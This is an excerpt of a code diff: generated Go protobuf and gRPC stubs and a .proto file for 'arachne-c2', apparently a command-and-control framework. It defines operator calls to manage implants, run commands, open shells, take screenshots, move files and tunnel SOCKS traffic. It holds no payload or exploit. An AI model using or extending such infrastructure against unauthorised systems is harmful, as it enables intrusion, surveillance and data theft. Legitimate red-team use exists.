0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e,
0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e,
0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x07, 0x20,
0x01, 0x28, 0x09, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x4c,
0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03,
0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a,
0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52,
0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42,
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42,
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18,
0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x24, 0x0a,
0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0c,
0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72,
0x65, 0x73, 0x73, 0x22, 0x3d, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4c, 0x69,
0x73, 0x74, 0x12, 0x2e, 0x0a, 0x08, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x73, 0x18, 0x01,
0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70,
0x6c, 0x61, 0x6e, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x08, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
0x74, 0x73, 0x32, 0xd6, 0x05, 0x0a, 0x0a, 0x41, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x52, 0x50,
0x43, 0x12, 0x2d, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x1a, 0x0e, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x73, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x1a, 0x12, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
0x4c, 0x69, 0x73, 0x74, 0x12, 0x2b, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x61,
0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x25, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e,
0x65, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63,
0x75, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x61, 0x72, 0x61,
0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x25,
0x0a, 0x02, 0x4c, 0x73, 0x12, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62,
0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65,
0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x28, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x11, 0x2e, 0x61,
0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a,
0x0e, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12,
0x37, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x16, 0x2e, 0x61, 0x72,
0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64,
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x31, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f,
0x61, 0x64, 0x12, 0x14, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x55,
0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3d, 0x0a, 0x0a, 0x53,
0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x18, 0x2e, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74,
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x2e, 0x0a, 0x05, 0x53, 0x68,
0x65, 0x6c, 0x6c, 0x12, 0x13, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x3e, 0x0a, 0x0a, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a,
0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x31, 0x0a, 0x0b, 0x43, 0x72,
0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x10, 0x2e, 0x61, 0x72,
0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3c, 0x0a,
0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x14, 0x2e, 0x61, 0x72,
0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74,
0x61, 0x1a, 0x14, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x42, 0x30, 0x5a, 0x2e, 0x67,
0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x6e, 0x6f, 0x6d, 0x61, 0x6c,
0x79, 0x63, 0x6f, 0x2f, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x2d, 0x63, 0x32, 0x2f, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
file_rpcpb_rpc_proto_rawDescOnce sync.Once
file_rpcpb_rpc_proto_rawDescData = file_rpcpb_rpc_proto_rawDesc
)
func file_rpcpb_rpc_proto_rawDescGZIP() []byte {
file_rpcpb_rpc_proto_rawDescOnce.Do(func() {
file_rpcpb_rpc_proto_rawDescData = protoimpl.X.CompressGZIP(file_rpcpb_rpc_proto_rawDescData)
})
return file_rpcpb_rpc_proto_rawDescData
}
var file_rpcpb_rpc_proto_msgTypes = make([]protoimpl.MessageInfo, 3)
var file_rpcpb_rpc_proto_goTypes = []interface{}{
(*Version)(nil), // 0: rpcpb.Version
(*ImplantInfo)(nil), // 1: rpcpb.ImplantInfo
(*ImplantList)(nil), // 2: rpcpb.ImplantList
(*commonpb.Empty)(nil), // 3: commonpb.Empty
(*arachnepb.KillReq)(nil), // 4: arachnepb.KillReq
(*arachnepb.PsReq)(nil), // 5: arachnepb.PsReq
(*arachnepb.ExecuteReq)(nil), // 6: arachnepb.ExecuteReq
(*arachnepb.LsReq)(nil), // 7: arachnepb.LsReq
(*arachnepb.PwdReq)(nil), // 8: arachnepb.PwdReq
(*arachnepb.DownloadReq)(nil), // 9: arachnepb.DownloadReq
(*arachnepb.UploadReq)(nil), // 10: arachnepb.UploadReq
(*arachnepb.ScreenshotReq)(nil), // 11: arachnepb.ScreenshotReq
(*arachnepb.ShellReq)(nil), // 12: arachnepb.ShellReq
(*arachnepb.TunnelData)(nil), // 13: arachnepb.TunnelData
(*arachnepb.Socks)(nil), // 14: arachnepb.Socks
(*arachnepb.SocksData)(nil), // 15: arachnepb.SocksData
(*arachnepb.Ps)(nil), // 16: arachnepb.Ps
(*arachnepb.Execute)(nil), // 17: arachnepb.Execute
(*arachnepb.Ls)(nil), // 18: arachnepb.Ls
(*arachnepb.Pwd)(nil), // 19: arachnepb.Pwd
(*arachnepb.Download)(nil), // 20: arachnepb.Download
(*arachnepb.Upload)(nil), // 21: arachnepb.Upload
(*arachnepb.Screenshot)(nil), // 22: arachnepb.Screenshot
(*arachnepb.Shell)(nil), // 23: arachnepb.Shell
}
var file_rpcpb_rpc_proto_depIdxs = []int32{
1, // 0: rpcpb.ImplantList.Implants:type_name -> rpcpb.ImplantInfo
3, // 1: rpcpb.ArachneRPC.GetVersion:input_type -> commonpb.Empty
3, // 2: rpcpb.ArachneRPC.GetImplants:input_type -> commonpb.Empty
4, // 3: rpcpb.ArachneRPC.Kill:input_type -> arachnepb.KillReq
5, // 4: rpcpb.ArachneRPC.Ps:input_type -> arachnepb.PsReq
6, // 5: rpcpb.ArachneRPC.Execute:input_type -> arachnepb.ExecuteReq
7, // 6: rpcpb.ArachneRPC.Ls:input_type -> arachnepb.LsReq
8, // 7: rpcpb.ArachneRPC.Pwd:input_type -> arachnepb.PwdReq
9, // 8: rpcpb.ArachneRPC.Download:input_type -> arachnepb.DownloadReq
10, // 9: rpcpb.ArachneRPC.Upload:input_type -> arachnepb.UploadReq
11, // 10: rpcpb.ArachneRPC.Screenshot:input_type -> arachnepb.ScreenshotReq
12, // 11: rpcpb.ArachneRPC.Shell:input_type -> arachnepb.ShellReq
13, // 12: rpcpb.ArachneRPC.TunnelData:input_type -> arachnepb.TunnelData
14, // 13: rpcpb.ArachneRPC.CreateSocks:input_type -> arachnepb.Socks
15, // 14: rpcpb.ArachneRPC.SocksProxy:input_type -> arachnepb.SocksData
0, // 15: rpcpb.ArachneRPC.GetVersion:output_type -> rpcpb.Version
2, // 16: rpcpb.ArachneRPC.GetImplants:output_type -> rpcpb.ImplantList
3, // 17: rpcpb.ArachneRPC.Kill:output_type -> commonpb.Empty
16, // 18: rpcpb.ArachneRPC.Ps:output_type -> arachnepb.Ps
17, // 19: rpcpb.ArachneRPC.Execute:output_type -> arachnepb.Execute
18, // 20: rpcpb.ArachneRPC.Ls:output_type -> arachnepb.Ls
19, // 21: rpcpb.ArachneRPC.Pwd:output_type -> arachnepb.Pwd
20, // 22: rpcpb.ArachneRPC.Download:output_type -> arachnepb.Download
21, // 23: rpcpb.ArachneRPC.Upload:output_type -> arachnepb.Upload
22, // 24: rpcpb.ArachneRPC.Screenshot:output_type -> arachnepb.Screenshot
23, // 25: rpcpb.ArachneRPC.Shell:output_type -> arachnepb.Shell
13, // 26: rpcpb.ArachneRPC.TunnelData:output_type -> arachnepb.TunnelData
14, // 27: rpcpb.ArachneRPC.CreateSocks:output_type -> arachnepb.Socks
15, // 28: rpcpb.ArachneRPC.SocksProxy:output_type -> arachnepb.SocksData
15, // [15:29] is the sub-list for method output_type
1, // [1:15] is the sub-list for method input_type
1, // [1:1] is the sub-list for extension type_name
1, // [1:1] is the sub-list for extension extendee
0, // [0:1] is the sub-list for field type_name
}
func init() { file_rpcpb_rpc_proto_init() }
func file_rpcpb_rpc_proto_init() {
if File_rpcpb_rpc_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_rpcpb_rpc_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Version); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_rpcpb_rpc_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantInfo); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_rpcpb_rpc_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantList); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_rpcpb_rpc_proto_rawDesc,
NumEnums: 0,
NumMessages: 3,
NumExtensions: 0,
NumServices: 1,
},
GoTypes: file_rpcpb_rpc_proto_goTypes,
DependencyIndexes: file_rpcpb_rpc_proto_depIdxs,
MessageInfos: file_rpcpb_rpc_proto_msgTypes,
}.Build()
File_rpcpb_rpc_proto = out.File
file_rpcpb_rpc_proto_rawDesc = nil
file_rpcpb_rpc_proto_goTypes = nil
file_rpcpb_rpc_proto_depIdxs = nil
}
+53
View File
@@ -0,0 +1,53 @@
syntax = "proto3";
package rpcpb;
option go_package = "github.com/anomalyco/arachne-c2/protobuf/rpcpb";
import "commonpb/common.proto";
import "arachnepb/arachne.proto";
service ArachneRPC {
// Operator management
rpc GetVersion(commonpb.Empty) returns (Version);
rpc GetImplants(commonpb.Empty) returns (ImplantList);
// Implant interactions
rpc Kill(arachnepb.KillReq) returns (commonpb.Empty);
rpc Ps(arachnepb.PsReq) returns (arachnepb.Ps);
rpc Execute(arachnepb.ExecuteReq) returns (arachnepb.Execute);
rpc Ls(arachnepb.LsReq) returns (arachnepb.Ls);
rpc Pwd(arachnepb.PwdReq) returns (arachnepb.Pwd);
rpc Download(arachnepb.DownloadReq) returns (arachnepb.Download);
rpc Upload(arachnepb.UploadReq) returns (arachnepb.Upload);
rpc Screenshot(arachnepb.ScreenshotReq) returns (arachnepb.Screenshot);
// Session interactions
rpc Shell(arachnepb.ShellReq) returns (arachnepb.Shell);
rpc TunnelData(stream arachnepb.TunnelData) returns (stream arachnepb.TunnelData);
rpc CreateSocks(arachnepb.Socks) returns (arachnepb.Socks);
rpc SocksProxy(stream arachnepb.SocksData) returns (stream arachnepb.SocksData);
}
message Version {
string Version = 1;
string Commit = 2;
string GoVersion = 3;
}
message ImplantInfo {
string ID = 1;
string Name = 2;
string Hostname = 3;
string OS = 4;
string Arch = 5;
string Username = 6;
string PeerID = 7;
int64 LastCheckin = 8;
int64 Interval = 9;
bool IsBeacon = 10;
string Locale = 11;
string RemoteAddress = 12;
}
message ImplantList {
repeated ImplantInfo Implants = 1;
}
+663
View File
@@ -0,0 +1,663 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.3.0
// - protoc v4.25.1
// source: rpcpb/rpc.proto
package rpcpb
import (
context "context"
arachnepb "github.com/anomalyco/arachne-c2/protobuf/arachnepb"
commonpb "github.com/anomalyco/arachne-c2/protobuf/commonpb"
grpc "google.golang.org/grpc"
codes "google.golang.org/grpc/codes"
status "google.golang.org/grpc/status"
)
// This is a compile-time assertion to ensure that this generated file
// is compatible with the grpc package it is being compiled against.
// Requires gRPC-Go v1.32.0 or later.
const _ = grpc.SupportPackageIsVersion7
const (
ArachneRPC_GetVersion_FullMethodName = "/rpcpb.ArachneRPC/GetVersion"
ArachneRPC_GetImplants_FullMethodName = "/rpcpb.ArachneRPC/GetImplants"
ArachneRPC_Kill_FullMethodName = "/rpcpb.ArachneRPC/Kill"
ArachneRPC_Ps_FullMethodName = "/rpcpb.ArachneRPC/Ps"
ArachneRPC_Execute_FullMethodName = "/rpcpb.ArachneRPC/Execute"
ArachneRPC_Ls_FullMethodName = "/rpcpb.ArachneRPC/Ls"
ArachneRPC_Pwd_FullMethodName = "/rpcpb.ArachneRPC/Pwd"
ArachneRPC_Download_FullMethodName = "/rpcpb.ArachneRPC/Download"
ArachneRPC_Upload_FullMethodName = "/rpcpb.ArachneRPC/Upload"
ArachneRPC_Screenshot_FullMethodName = "/rpcpb.ArachneRPC/Screenshot"
ArachneRPC_Shell_FullMethodName = "/rpcpb.ArachneRPC/Shell"
ArachneRPC_TunnelData_FullMethodName = "/rpcpb.ArachneRPC/TunnelData"
ArachneRPC_CreateSocks_FullMethodName = "/rpcpb.ArachneRPC/CreateSocks"
ArachneRPC_SocksProxy_FullMethodName = "/rpcpb.ArachneRPC/SocksProxy"
)
// ArachneRPCClient is the client API for ArachneRPC service.
//
// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.
type ArachneRPCClient interface {
// Operator management
GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*Version, error)
GetImplants(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*ImplantList, error)
// Implant interactions
Kill(ctx context.Context, in *arachnepb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
Ps(ctx context.Context, in *arachnepb.PsReq, opts ...grpc.CallOption) (*arachnepb.Ps, error)
Execute(ctx context.Context, in *arachnepb.ExecuteReq, opts ...grpc.CallOption) (*arachnepb.Execute, error)
Ls(ctx context.Context, in *arachnepb.LsReq, opts ...grpc.CallOption) (*arachnepb.Ls, error)
Pwd(ctx context.Context, in *arachnepb.PwdReq, opts ...grpc.CallOption) (*arachnepb.Pwd, error)
Download(ctx context.Context, in *arachnepb.DownloadReq, opts ...grpc.CallOption) (*arachnepb.Download, error)
Upload(ctx context.Context, in *arachnepb.UploadReq, opts ...grpc.CallOption) (*arachnepb.Upload, error)
Screenshot(ctx context.Context, in *arachnepb.ScreenshotReq, opts ...grpc.CallOption) (*arachnepb.Screenshot, error)
// Session interactions
Shell(ctx context.Context, in *arachnepb.ShellReq, opts ...grpc.CallOption) (*arachnepb.Shell, error)
TunnelData(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_TunnelDataClient, error)
CreateSocks(ctx context.Context, in *arachnepb.Socks, opts ...grpc.CallOption) (*arachnepb.Socks, error)
SocksProxy(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_SocksProxyClient, error)
}
type arachneRPCClient struct {
cc grpc.ClientConnInterface
}
func NewArachneRPCClient(cc grpc.ClientConnInterface) ArachneRPCClient {
return &arachneRPCClient{cc}
}
func (c *arachneRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*Version, error) {
out := new(Version)
err := c.cc.Invoke(ctx, ArachneRPC_GetVersion_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) GetImplants(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*ImplantList, error) {
out := new(ImplantList)
err := c.cc.Invoke(ctx, ArachneRPC_GetImplants_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Kill(ctx context.Context, in *arachnepb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, ArachneRPC_Kill_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Ps(ctx context.Context, in *arachnepb.PsReq, opts ...grpc.CallOption) (*arachnepb.Ps, error) {
out := new(arachnepb.Ps)
err := c.cc.Invoke(ctx, ArachneRPC_Ps_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Execute(ctx context.Context, in *arachnepb.ExecuteReq, opts ...grpc.CallOption) (*arachnepb.Execute, error) {
out := new(arachnepb.Execute)
err := c.cc.Invoke(ctx, ArachneRPC_Execute_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Ls(ctx context.Context, in *arachnepb.LsReq, opts ...grpc.CallOption) (*arachnepb.Ls, error) {
out := new(arachnepb.Ls)
err := c.cc.Invoke(ctx, ArachneRPC_Ls_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Pwd(ctx context.Context, in *arachnepb.PwdReq, opts ...grpc.CallOption) (*arachnepb.Pwd, error) {
out := new(arachnepb.Pwd)
err := c.cc.Invoke(ctx, ArachneRPC_Pwd_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Download(ctx context.Context, in *arachnepb.DownloadReq, opts ...grpc.CallOption) (*arachnepb.Download, error) {
out := new(arachnepb.Download)
err := c.cc.Invoke(ctx, ArachneRPC_Download_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Upload(ctx context.Context, in *arachnepb.UploadReq, opts ...grpc.CallOption) (*arachnepb.Upload, error) {
out := new(arachnepb.Upload)
err := c.cc.Invoke(ctx, ArachneRPC_Upload_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Screenshot(ctx context.Context, in *arachnepb.ScreenshotReq, opts ...grpc.CallOption) (*arachnepb.Screenshot, error) {
out := new(arachnepb.Screenshot)
err := c.cc.Invoke(ctx, ArachneRPC_Screenshot_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Shell(ctx context.Context, in *arachnepb.ShellReq, opts ...grpc.CallOption) (*arachnepb.Shell, error) {
out := new(arachnepb.Shell)
err := c.cc.Invoke(ctx, ArachneRPC_Shell_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_TunnelDataClient, error) {
stream, err := c.cc.NewStream(ctx, &ArachneRPC_ServiceDesc.Streams[0], ArachneRPC_TunnelData_FullMethodName, opts...)
if err != nil {
return nil, err
}
x := &arachneRPCTunnelDataClient{stream}
return x, nil
}
type ArachneRPC_TunnelDataClient interface {
Send(*arachnepb.TunnelData) error
Recv() (*arachnepb.TunnelData, error)
grpc.ClientStream
}
type arachneRPCTunnelDataClient struct {
grpc.ClientStream
}
func (x *arachneRPCTunnelDataClient) Send(m *arachnepb.TunnelData) error {
return x.ClientStream.SendMsg(m)
}
func (x *arachneRPCTunnelDataClient) Recv() (*arachnepb.TunnelData, error) {
m := new(arachnepb.TunnelData)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *arachneRPCClient) CreateSocks(ctx context.Context, in *arachnepb.Socks, opts ...grpc.CallOption) (*arachnepb.Socks, error) {
out := new(arachnepb.Socks)
err := c.cc.Invoke(ctx, ArachneRPC_CreateSocks_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_SocksProxyClient, error) {
stream, err := c.cc.NewStream(ctx, &ArachneRPC_ServiceDesc.Streams[1], ArachneRPC_SocksProxy_FullMethodName, opts...)
if err != nil {
return nil, err
}
x := &arachneRPCSocksProxyClient{stream}
return x, nil
}
type ArachneRPC_SocksProxyClient interface {
Send(*arachnepb.SocksData) error
Recv() (*arachnepb.SocksData, error)
grpc.ClientStream
}
type arachneRPCSocksProxyClient struct {
grpc.ClientStream
}
func (x *arachneRPCSocksProxyClient) Send(m *arachnepb.SocksData) error {
return x.ClientStream.SendMsg(m)
}
func (x *arachneRPCSocksProxyClient) Recv() (*arachnepb.SocksData, error) {
m := new(arachnepb.SocksData)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// ArachneRPCServer is the server API for ArachneRPC service.
// All implementations must embed UnimplementedArachneRPCServer
// for forward compatibility
type ArachneRPCServer interface {
// Operator management
GetVersion(context.Context, *commonpb.Empty) (*Version, error)
GetImplants(context.Context, *commonpb.Empty) (*ImplantList, error)
// Implant interactions
Kill(context.Context, *arachnepb.KillReq) (*commonpb.Empty, error)
Ps(context.Context, *arachnepb.PsReq) (*arachnepb.Ps, error)
Execute(context.Context, *arachnepb.ExecuteReq) (*arachnepb.Execute, error)
Ls(context.Context, *arachnepb.LsReq) (*arachnepb.Ls, error)
Pwd(context.Context, *arachnepb.PwdReq) (*arachnepb.Pwd, error)
Download(context.Context, *arachnepb.DownloadReq) (*arachnepb.Download, error)
Upload(context.Context, *arachnepb.UploadReq) (*arachnepb.Upload, error)
Screenshot(context.Context, *arachnepb.ScreenshotReq) (*arachnepb.Screenshot, error)
// Session interactions
Shell(context.Context, *arachnepb.ShellReq) (*arachnepb.Shell, error)
TunnelData(ArachneRPC_TunnelDataServer) error
CreateSocks(context.Context, *arachnepb.Socks) (*arachnepb.Socks, error)
SocksProxy(ArachneRPC_SocksProxyServer) error
mustEmbedUnimplementedArachneRPCServer()
}
// UnimplementedArachneRPCServer must be embedded to have forward compatible implementations.
type UnimplementedArachneRPCServer struct {
}
func (UnimplementedArachneRPCServer) GetVersion(context.Context, *commonpb.Empty) (*Version, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented")
}
func (UnimplementedArachneRPCServer) GetImplants(context.Context, *commonpb.Empty) (*ImplantList, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetImplants not implemented")
}
func (UnimplementedArachneRPCServer) Kill(context.Context, *arachnepb.KillReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented")
